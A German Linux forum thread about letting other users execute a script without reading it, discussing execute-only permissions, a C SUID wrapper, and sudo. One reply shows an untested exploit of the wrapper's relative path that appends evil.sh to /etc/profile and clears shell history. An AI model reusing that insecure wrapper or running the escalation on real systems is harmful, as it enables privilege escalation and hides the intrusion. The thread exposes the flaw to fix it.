Forum: PC Hard- und Software Linux Dateirechte script ausführen


von piUser (Gast)


Lesenswert?

Hallo, ich habe auf dem pi ein bashscript erstell und es auch ausführbar 
gemacht.

Ich möchte das die Gruppe und der rest der Welt das Scrpit ausführen 
können, jedoch nicht einsehen dürfen.

darum habe ich folgende Rechte vergeben

-rwx--x--x  1 pi mygroup 44 Feb 26 08:24 test.sh

Warum kann der user www-data das script jetzt nicht ausführen ???

: Verschoben durch User
von nicht"Gast" (Gast)


Lesenswert?

Spontan gesagt,

Lies mal ein Buch vor, ohne es aufschlagen zu dürfen.

von piUser (Gast)


Lesenswert?

hmmm...

von Pandur S. (jetztnicht)


Lesenswert?

Was du haben willst macht ein kompliliertes Binary.

von Philipp_K59 (Gast)


Lesenswert?

Du könntest ein Einzeiler Script das das geheime Script startet 
schreiben und komplett zugriff geben.. da kann man dann höchstens den 
Dateinamen rausfinden.

von Wegstaben V. (wegstabenverbuchsler)


Lesenswert?

Oder D. schrieb:
> kompliliertes Binary

kompliziertes Binary?
kompiliertes Binary?

von restmuell (Gast)


Lesenswert?

was Autor:  nicht"Gast" (Gast)  sagen wollte:
um das Script ausführen zu können, muss er es auch lesen können.

von Mikro 7. (mikro77)


Lesenswert?

Philipp_K59 schrieb:
> Du könntest ein Einzeiler Script das das geheime Script startet
> schreiben und komplett zugriff geben.. da kann man dann höchstens den
> Dateinamen rausfinden.

Fast. Das aufrufende Script müsste den selben User wie das aufgerufene 
Script haben + das SUID Bit muss gesetzt sein. 
https://en.wikipedia.org/wiki/Setuid

Allerdings funktioniert das SUID Bit für Scripts nicht mehr auf 
aktuellen *NIX Systemen (Sicherheitsrisiko). Man müßte also ein Binary 
dafür kompilieren.

Beispiel:
1
prompt> cat > hello.sh <<EOF
2
#!/bin/bash
3
echo "hello world!"
4
EOF
5
prompt> chmod +x hello.sh
6
prompt> ./hello.sh
7
hello world!
8
prompt> sudo chown root hello.sh
9
prompt> sudo chmod 711 hello.sh 
10
prompt> ./hello.sh 
11
/bin/bash: ./hello.sh: Permission denied
Root dient hier lediglich als (gefährliches) Beispiel.

Anyway, C source to invoke hello.sh:
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
int main()
5
{
6
  int error = setuid(geteuid()) ;
7
  if (error) {
8
    perror("setuid() failed") ;
9
    exit(1) ;
10
  }
11
  error = execl("./hello.sh","./hello.sh",NULL) ;
12
  if (error) {
13
    perror("exec() failed") ;
14
    exit(1) ;
15
  }
16
  return 0 ;
17
}

Compilieren und Rechte setzen:
1
prompt> gcc -Wall invoke.c -o invoke
2
prompt> ./invoke
3
/bin/bash: ./hello.sh: Permission denied
4
prompt> sudo chown root invoke
5
prompt> ./invoke
6
/bin/bash: ./hello.sh: Permission denied
7
prompt> sudo chmod 4755 invoke
8
prompt> ./invoke
9
hello world!

Die Maske ist 6755 für Set-User+Group-ID (siehe chmod).

Note: SUID Programme stellen immer ein potentielles Sicherheitsrisiko 
dar.

Edit: prompt names

: Bearbeitet durch User
von Jay (Gast)


Lesenswert?

Dafür kompiliere ich mir doch kein Binary. Dafür konfiguriere ich mir 
sudo.

von npn (Gast)


Lesenswert?

Jay schrieb:
> Dafür kompiliere ich mir doch kein Binary. Dafür konfiguriere ich
> mir sudo.

...und das gibst du dann für den "Rest der Welt" frei?
Dann kannst du auch gleich den kompletten Rechner freigeben für alle!

von Daniel A. (daniel-a)


Lesenswert?

@Mikro 77
1
#ungetestet
2
prompt>export op="$(pwd)"
3
prompt>cd /tmp/
4
prompt>cat > hello.sh
5
cat "$op/hello.sh"
6
cat evil.sh >> /etc/profile
7
^d
8
prompt>"$op/invoke"
9
#!/bin/bash
10
echo "hello world!"
11
prompt>history -c && exit

von Dirk D. (dicky_d)


Lesenswert?

npn schrieb:
> Jay schrieb:
>> Dafür kompiliere ich mir doch kein Binary. Dafür konfiguriere ich
>> mir sudo.
>
> ...und das gibst du dann für den "Rest der Welt" frei?
> Dann kannst du auch gleich den kompletten Rechner freigeben für alle!

Magst du das genaue Problem näher erläutern?

von T.roll (Gast)


Lesenswert?

npn schrieb:
> ...und das gibst du dann für den "Rest der Welt" frei?

Und davor lesen wir mal die Doku von sudo...
Dann lernen wir: Mit sudo wechselt man den Benutzer, das muss nicht 
zwingend root sein.

von Daniel A. (daniel-a)


Lesenswert?

T.roll schrieb:
> Mit sudo wechselt man den Benutzer, das muss nicht
> zwingend root sein.

Zusätzlich kann man es auf ein Skript beschränken.

Nützt aber alles nichts, solange niemand die BIOS und Grub Passwörter 
setzt.

von Mikro 7. (mikro77)


Lesenswert?

Daniel A. schrieb:
> @Mikro 77 ...

Stimmt.

Absoluter Pfadname ist Pflicht. Ansonsten brauch man sich wie von dir 
gezeigt nur ein eigenes hello.sh anlegen um die Rechte von invoke zu 
erlangen.

von Mikro 7. (mikro77)


Lesenswert?

Jay schrieb:
> Dafür kompiliere ich mir doch kein Binary. Dafür konfiguriere ich mir
> sudo.

Interessant. Das wäre dann natürlich besser.

Kannst du mal ein Beispiel zeigen wie ein Benutzer die Freigabe für eine 
Datei konfiguriert? Habe ich auf Anhieb nicht gefunden.

Achja, ohne Root Rechte. Root hatte ich ja nur genommen, weil das im 
Beispiel leicht nachvollziehbar ist.

: Bearbeitet durch User
von Dirk D. (dicky_d)


Lesenswert?

Mikro 7. schrieb:
> Jay schrieb:
>> Dafür kompiliere ich mir doch kein Binary. Dafür konfiguriere ich mir
>> sudo.
>
> Interessant. Das wäre dann natürlich besser.
>
> Kannst du mal ein Beispiel zeigen wie ein Benutzer die Freigabe für eine
> Datei konfiguriert? Habe ich auf Anhieb nicht gefunden.
>
> Achja, ohne Root Rechte. Root hatte ich ja nur genommen, weil das im
> Beispiel leicht nachvollziehbar ist.

Dann verstehe ich nicht was du zu schützen versuchst...

Bitte melde dich an um einen Beitrag zu schreiben. Anmeldung ist kostenlos und dauert nur eine Minute.
Bestehender Account
Schon ein Account bei Google/GoogleMail? Keine Anmeldung erforderlich!
Mit Google-Account einloggen
Noch kein Account? Hier anmelden.